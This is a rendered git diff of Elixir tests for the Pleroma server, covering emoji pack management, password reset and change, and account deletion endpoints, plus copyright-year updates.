refute File.exists?("#{@emoji_dir_path}/test_pack2")
|
||||
|
||||
# non-shared, downloaded from the fallback URL
|
||||
|
||||
conn = build_conn() |> assign(:user, admin)
|
||||
|
||||
assert conn
|
||||
|> put_req_header("content-type", "application/json")
|
||||
|> post(
|
||||
emoji_api_path(
|
||||
conn,
|
||||
:download_from
|
||||
),
|
||||
%{
|
||||
instance_address: "https://example.com",
|
||||
pack_name: "test_pack_nonshared",
|
||||
as: "test_pack_nonshared2"
|
||||
}
|
||||
|> Jason.encode!()
|
||||
)
|
||||
|> json_response(200) == "ok"
|
||||
|
||||
assert File.exists?("#{@emoji_dir_path}/test_pack_nonshared2/pack.json")
|
||||
assert File.exists?("#{@emoji_dir_path}/test_pack_nonshared2/blank.png")
|
||||
|
||||
assert conn
|
||||
|> delete(emoji_api_path(conn, :delete, "test_pack_nonshared2"))
|
||||
|> json_response(200) == "ok"
|
||||
|
||||
refute File.exists?("#{@emoji_dir_path}/test_pack_nonshared2")
|
||||
end
|
||||
|
||||
describe "updating pack metadata" do
|
||||
setup do
|
||||
pack_file = "#{@emoji_dir_path}/test_pack/pack.json"
|
||||
original_content = File.read!(pack_file)
|
||||
|
||||
on_exit(fn ->
|
||||
File.write!(pack_file, original_content)
|
||||
end)
|
||||
|
||||
{:ok,
|
||||
admin: insert(:user, info: %{is_admin: true}),
|
||||
pack_file: pack_file,
|
||||
new_data: %{
|
||||
"license" => "Test license changed",
|
||||
"homepage" => "https://pleroma.social",
|
||||
"description" => "Test description",
|
||||
"share-files" => false
|
||||
}}
|
||||
end
|
||||
|
||||
test "for a pack without a fallback source", ctx do
|
||||
conn = build_conn()
|
||||
|
||||
assert conn
|
||||
|> assign(:user, ctx[:admin])
|
||||
|> post(
|
||||
emoji_api_path(conn, :update_metadata, "test_pack"),
|
||||
%{
|
||||
"new_data" => ctx[:new_data]
|
||||
}
|
||||
)
|
||||
|> json_response(200) == ctx[:new_data]
|
||||
|
||||
assert Jason.decode!(File.read!(ctx[:pack_file]))["pack"] == ctx[:new_data]
|
||||
end
|
||||
|
||||
test "for a pack with a fallback source", ctx do
|
||||
mock(fn
|
||||
%{
|
||||
method: :get,
|
||||
url: "https://nonshared-pack"
|
||||
} ->
|
||||
text(File.read!("#{@emoji_dir_path}/test_pack_nonshared/nonshared.zip"))
|
||||
end)
|
||||
|
||||
new_data = Map.put(ctx[:new_data], "fallback-src", "https://nonshared-pack")
|
||||
|
||||
new_data_with_sha =
|
||||
Map.put(
|
||||
new_data,
|
||||
"fallback-src-sha256",
|
||||
"74409E2674DAA06C072729C6C8426C4CB3B7E0B85ED77792DB7A436E11D76DAF"
|
||||
)
|
||||
|
||||
conn = build_conn()
|
||||
|
||||
assert conn
|
||||
|> assign(:user, ctx[:admin])
|
||||
|> post(
|
||||
emoji_api_path(conn, :update_metadata, "test_pack"),
|
||||
%{
|
||||
"new_data" => new_data
|
||||
}
|
||||
)
|
||||
|> json_response(200) == new_data_with_sha
|
||||
|
||||
assert Jason.decode!(File.read!(ctx[:pack_file]))["pack"] == new_data_with_sha
|
||||
end
|
||||
|
||||
test "when the fallback source doesn't have all the files", ctx do
|
||||
mock(fn
|
||||
%{
|
||||
method: :get,
|
||||
url: "https://nonshared-pack"
|
||||
} ->
|
||||
{:ok, {'empty.zip', empty_arch}} = :zip.zip('empty.zip', [], [:memory])
|
||||
text(empty_arch)
|
||||
end)
|
||||
|
||||
new_data = Map.put(ctx[:new_data], "fallback-src", "https://nonshared-pack")
|
||||
|
||||
conn = build_conn()
|
||||
|
||||
assert (conn
|
||||
|> assign(:user, ctx[:admin])
|
||||
|> post(
|
||||
emoji_api_path(conn, :update_metadata, "test_pack"),
|
||||
%{
|
||||
"new_data" => new_data
|
||||
}
|
||||
)
|
||||
|> json_response(:bad_request))["error"] =~ "does not have all"
|
||||
end
|
||||
end
|
||||
|
||||
test "updating pack files" do
|
||||
pack_file = "#{@emoji_dir_path}/test_pack/pack.json"
|
||||
original_content = File.read!(pack_file)
|
||||
|
||||
on_exit(fn ->
|
||||
File.write!(pack_file, original_content)
|
||||
|
||||
File.rm_rf!("#{@emoji_dir_path}/test_pack/blank_url.png")
|
||||
File.rm_rf!("#{@emoji_dir_path}/test_pack/dir")
|
||||
File.rm_rf!("#{@emoji_dir_path}/test_pack/dir_2")
|
||||
end)
|
||||
|
||||
admin = insert(:user, info: %{is_admin: true})
|
||||
|
||||
conn = build_conn()
|
||||
|
||||
same_name = %{
|
||||
"action" => "add",
|
||||
"shortcode" => "blank",
|
||||
"filename" => "dir/blank.png",
|
||||
"file" => %Plug.Upload{
|
||||
filename: "blank.png",
|
||||
path: "#{@emoji_dir_path}/test_pack/blank.png"
|
||||
}
|
||||
}
|
||||
|
||||
different_name = %{same_name | "shortcode" => "blank_2"}
|
||||
|
||||
conn = conn |> assign(:user, admin)
|
||||
|
||||
assert (conn
|
||||
|> post(emoji_api_path(conn, :update_file, "test_pack"), same_name)
|
||||
|> json_response(:conflict))["error"] =~ "already exists"
|
||||
|
||||
assert conn
|
||||
|> post(emoji_api_path(conn, :update_file, "test_pack"), different_name)
|
||||
|> json_response(200) == %{"blank" => "blank.png", "blank_2" => "dir/blank.png"}
|
||||
|
||||
assert File.exists?("#{@emoji_dir_path}/test_pack/dir/blank.png")
|
||||
|
||||
assert conn
|
||||
|> post(emoji_api_path(conn, :update_file, "test_pack"), %{
|
||||
"action" => "update",
|
||||
"shortcode" => "blank_2",
|
||||
"new_shortcode" => "blank_3",
|
||||
"new_filename" => "dir_2/blank_3.png"
|
||||
})
|
||||
|> json_response(200) == %{"blank" => "blank.png", "blank_3" => "dir_2/blank_3.png"}
|
||||
|
||||
refute File.exists?("#{@emoji_dir_path}/test_pack/dir/")
|
||||
assert File.exists?("#{@emoji_dir_path}/test_pack/dir_2/blank_3.png")
|
||||
|
||||
assert conn
|
||||
|> post(emoji_api_path(conn, :update_file, "test_pack"), %{
|
||||
"action" => "remove",
|
||||
"shortcode" => "blank_3"
|
||||
})
|
||||
|> json_response(200) == %{"blank" => "blank.png"}
|
||||
|
||||
refute File.exists?("#{@emoji_dir_path}/test_pack/dir_2/")
|
||||
|
||||
mock(fn
|
||||
%{
|
||||
method: :get,
|
||||
url: "https://test-blank/blank_url.png"
|
||||
} ->
|
||||
text(File.read!("#{@emoji_dir_path}/test_pack/blank.png"))
|
||||
end)
|
||||
|
||||
# The name should be inferred from the URL ending
|
||||
from_url = %{
|
||||
"action" => "add",
|
||||
"shortcode" => "blank_url",
|
||||
"file" => "https://test-blank/blank_url.png"
|
||||
}
|
||||
|
||||
assert conn
|
||||
|> post(emoji_api_path(conn, :update_file, "test_pack"), from_url)
|
||||
|> json_response(200) == %{
|
||||
"blank" => "blank.png",
|
||||
"blank_url" => "blank_url.png"
|
||||
}
|
||||
|
||||
assert File.exists?("#{@emoji_dir_path}/test_pack/blank_url.png")
|
||||
|
||||
assert conn
|
||||
|> post(emoji_api_path(conn, :update_file, "test_pack"), %{
|
||||
"action" => "remove",
|
||||
"shortcode" => "blank_url"
|
||||
})
|
||||
|> json_response(200) == %{"blank" => "blank.png"}
|
||||
|
||||
refute File.exists?("#{@emoji_dir_path}/test_pack/blank_url.png")
|
||||
end
|
||||
|
||||
test "creating and deleting a pack" do
|
||||
on_exit(fn ->
|
||||
File.rm_rf!("#{@emoji_dir_path}/test_created")
|
||||
end)
|
||||
|
||||
admin = insert(:user, info: %{is_admin: true})
|
||||
|
||||
conn = build_conn() |> assign(:user, admin)
|
||||
|
||||
assert conn
|
||||
|> put_req_header("content-type", "application/json")
|
||||
|> put(
|
||||
emoji_api_path(
|
||||
conn,
|
||||
:create,
|
||||
"test_created"
|
||||
)
|
||||
)
|
||||
|> json_response(200) == "ok"
|
||||
|
||||
assert File.exists?("#{@emoji_dir_path}/test_created/pack.json")
|
||||
|
||||
assert Jason.decode!(File.read!("#{@emoji_dir_path}/test_created/pack.json")) == %{
|
||||
"pack" => %{},
|
||||
"files" => %{}
|
||||
}
|
||||
|
||||
assert conn
|
||||
|> delete(emoji_api_path(conn, :delete, "test_created"))
|
||||
|> json_response(200) == "ok"
|
||||
|
||||
refute File.exists?("#{@emoji_dir_path}/test_created/pack.json")
|
||||
end
|
||||
|
||||
test "filesystem import" do
|
||||
on_exit(fn ->
|
||||
File.rm!("#{@emoji_dir_path}/test_pack_for_import/emoji.txt")
|
||||
File.rm!("#{@emoji_dir_path}/test_pack_for_import/pack.json")
|
||||
end)
|
||||
|
||||
conn = build_conn()
|
||||
resp = conn |> get(emoji_api_path(conn, :list_packs)) |> json_response(200)
|
||||
|
||||
refute Map.has_key?(resp, "test_pack_for_import")
|
||||
|
||||
admin = insert(:user, info: %{is_admin: true})
|
||||
|
||||
assert conn
|
||||
|> assign(:user, admin)
|
||||
|> post(emoji_api_path(conn, :import_from_fs))
|
||||
|> json_response(200) == ["test_pack_for_import"]
|
||||
|
||||
resp = conn |> get(emoji_api_path(conn, :list_packs)) |> json_response(200)
|
||||
assert resp["test_pack_for_import"]["files"] == %{"blank" => "blank.png"}
|
||||
|
||||
File.rm!("#{@emoji_dir_path}/test_pack_for_import/pack.json")
|
||||
refute File.exists?("#{@emoji_dir_path}/test_pack_for_import/pack.json")
|
||||
|
||||
emoji_txt_content = "blank, blank.png, Fun\n\nblank2, blank.png"
|
||||
|
||||
File.write!("#{@emoji_dir_path}/test_pack_for_import/emoji.txt", emoji_txt_content)
|
||||
|
||||
assert conn
|
||||
|> assign(:user, admin)
|
||||
|> post(emoji_api_path(conn, :import_from_fs))
|
||||
|> json_response(200) == ["test_pack_for_import"]
|
||||
|
||||
resp = conn |> get(emoji_api_path(conn, :list_packs)) |> json_response(200)
|
||||
|
||||
assert resp["test_pack_for_import"]["files"] == %{
|
||||
"blank" => "blank.png",
|
||||
"blank2" => "blank.png"
|
||||
}
|
||||
end
|
||||
end
|
||||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Web.FederatingPlugTest do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Web.Push.ImplTest do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Web.Salmon.SalmonTest do
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Web.StreamerTest do
|
||||
|
|
|
|||
|
|
@ -6,6 +6,7 @@ defmodule Pleroma.Web.TwitterAPI.PasswordControllerTest do
|
|||
use Pleroma.Web.ConnCase
|
||||
|
||||
alias Pleroma.PasswordResetToken
|
||||
alias Pleroma.User
|
||||
alias Pleroma.Web.OAuth.Token
|
||||
import Pleroma.Factory
|
||||
|
||||
|
|
@ -56,5 +57,25 @@ defmodule Pleroma.Web.TwitterAPI.PasswordControllerTest do
|
|||
assert Comeonin.Pbkdf2.checkpw("test", user.password_hash)
|
||||
assert length(Token.get_user_tokens(user)) == 0
|
||||
end
|
||||
|
||||
test "it sets password_reset_pending to false", %{conn: conn} do
|
||||
user = insert(:user, info: %{password_reset_pending: true})
|
||||
|
||||
{:ok, token} = PasswordResetToken.create_token(user)
|
||||
{:ok, _access_token} = Token.create_token(insert(:oauth_app), user, %{})
|
||||
|
||||
params = %{
|
||||
"password" => "test",
|
||||
password_confirmation: "test",
|
||||
token: token.token
|
||||
}
|
||||
|
||||
conn
|
||||
|> assign(:user, user)
|
||||
|> post("/api/pleroma/password_reset", %{data: params})
|
||||
|> html_response(:ok)
|
||||
|
||||
assert User.get_by_id(user.id).info.password_reset_pending == false
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Web.TwitterAPI.TwitterAPITest do
|
||||
|
|
@ -109,7 +109,9 @@ defmodule Pleroma.Web.TwitterAPI.TwitterAPITest do
|
|||
{:ok, user2} = TwitterAPI.register_user(data2)
|
||||
|
||||
expected_text =
|
||||
"<span class='h-card'><a data-user='#{user1.id}' class='u-url mention' href='#{user1.ap_id}'>@<span>john</span></a></span> test"
|
||||
~s(<span class="h-card"><a data-user="#{user1.id}" class="u-url mention" href="#{
|
||||
user1.ap_id
|
||||
}" rel="ugc">@<span>john</span></a></span> test)
|
||||
|
||||
assert user2.bio == expected_text
|
||||
end
|
||||
|
|
|
|||
|
|
@ -775,4 +775,109 @@ defmodule Pleroma.Web.TwitterAPI.UtilControllerTest do
|
|||
assert json_response(conn, 200) == %{"status" => "success"}
|
||||
end
|
||||
end
|
||||
|
||||
describe "POST /api/pleroma/change_password" do
|
||||
setup [:valid_user]
|
||||
|
||||
test "without credentials", %{conn: conn} do
|
||||
conn = post(conn, "/api/pleroma/change_password")
|
||||
assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
|
||||
end
|
||||
|
||||
test "with credentials and invalid password", %{conn: conn, user: current_user} do
|
||||
conn =
|
||||
conn
|
||||
|> with_credentials(current_user.nickname, "test")
|
||||
|> post("/api/pleroma/change_password", %{
|
||||
"password" => "hi",
|
||||
"new_password" => "newpass",
|
||||
"new_password_confirmation" => "newpass"
|
||||
})
|
||||
|
||||
assert json_response(conn, 200) == %{"error" => "Invalid password."}
|
||||
end
|
||||
|
||||
test "with credentials, valid password and new password and confirmation not matching", %{
|
||||
conn: conn,
|
||||
user: current_user
|
||||
} do
|
||||
conn =
|
||||
conn
|
||||
|> with_credentials(current_user.nickname, "test")
|
||||
|> post("/api/pleroma/change_password", %{
|
||||
"password" => "test",
|
||||
"new_password" => "newpass",
|
||||
"new_password_confirmation" => "notnewpass"
|
||||
})
|
||||
|
||||
assert json_response(conn, 200) == %{
|
||||
"error" => "New password does not match confirmation."
|
||||
}
|
||||
end
|
||||
|
||||
test "with credentials, valid password and invalid new password", %{
|
||||
conn: conn,
|
||||
user: current_user
|
||||
} do
|
||||
conn =
|
||||
conn
|
||||
|> with_credentials(current_user.nickname, "test")
|
||||
|> post("/api/pleroma/change_password", %{
|
||||
"password" => "test",
|
||||
"new_password" => "",
|
||||
"new_password_confirmation" => ""
|
||||
})
|
||||
|
||||
assert json_response(conn, 200) == %{
|
||||
"error" => "New password can't be blank."
|
||||
}
|
||||
end
|
||||
|
||||
test "with credentials, valid password and matching new password and confirmation", %{
|
||||
conn: conn,
|
||||
user: current_user
|
||||
} do
|
||||
conn =
|
||||
conn
|
||||
|> with_credentials(current_user.nickname, "test")
|
||||
|> post("/api/pleroma/change_password", %{
|
||||
"password" => "test",
|
||||
"new_password" => "newpass",
|
||||
"new_password_confirmation" => "newpass"
|
||||
})
|
||||
|
||||
assert json_response(conn, 200) == %{"status" => "success"}
|
||||
fetched_user = User.get_cached_by_id(current_user.id)
|
||||
assert Comeonin.Pbkdf2.checkpw("newpass", fetched_user.password_hash) == true
|
||||
end
|
||||
end
|
||||
|
||||
describe "POST /api/pleroma/delete_account" do
|
||||
setup [:valid_user]
|
||||
|
||||
test "without credentials", %{conn: conn} do
|
||||
conn = post(conn, "/api/pleroma/delete_account")
|
||||
assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
|
||||
end
|
||||
|
||||
test "with credentials and invalid password", %{conn: conn, user: current_user} do
|
||||
conn =
|
||||
conn
|
||||
|> with_credentials(current_user.nickname, "test")
|
||||
|> post("/api/pleroma/delete_account", %{"password" => "hi"})
|
||||
|
||||
assert json_response(conn, 200) == %{"error" => "Invalid password."}
|
||||
end
|
||||
|
||||
test "with credentials and valid password", %{conn: conn, user: current_user} do
|
||||
conn =
|
||||
conn
|
||||
|> with_credentials(current_user.nickname, "test")
|
||||
|> post("/api/pleroma/delete_account", %{"password" => "test"})
|
||||
|
||||
assert json_response(conn, 200) == %{"status" => "success"}
|
||||
# Wait a second for the started task to end
|
||||
:timer.sleep(1000)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
# Pleroma: A lightweight social networking server
|
||||
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
|
||||
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
|
||||
defmodule Pleroma.Web.UploaderControllerTest do
|
||||
|
|
|
|||
Some files were not shown because too many files have changed in this diff Show more
Loading…
Add table
Add a link
Reference in a new issue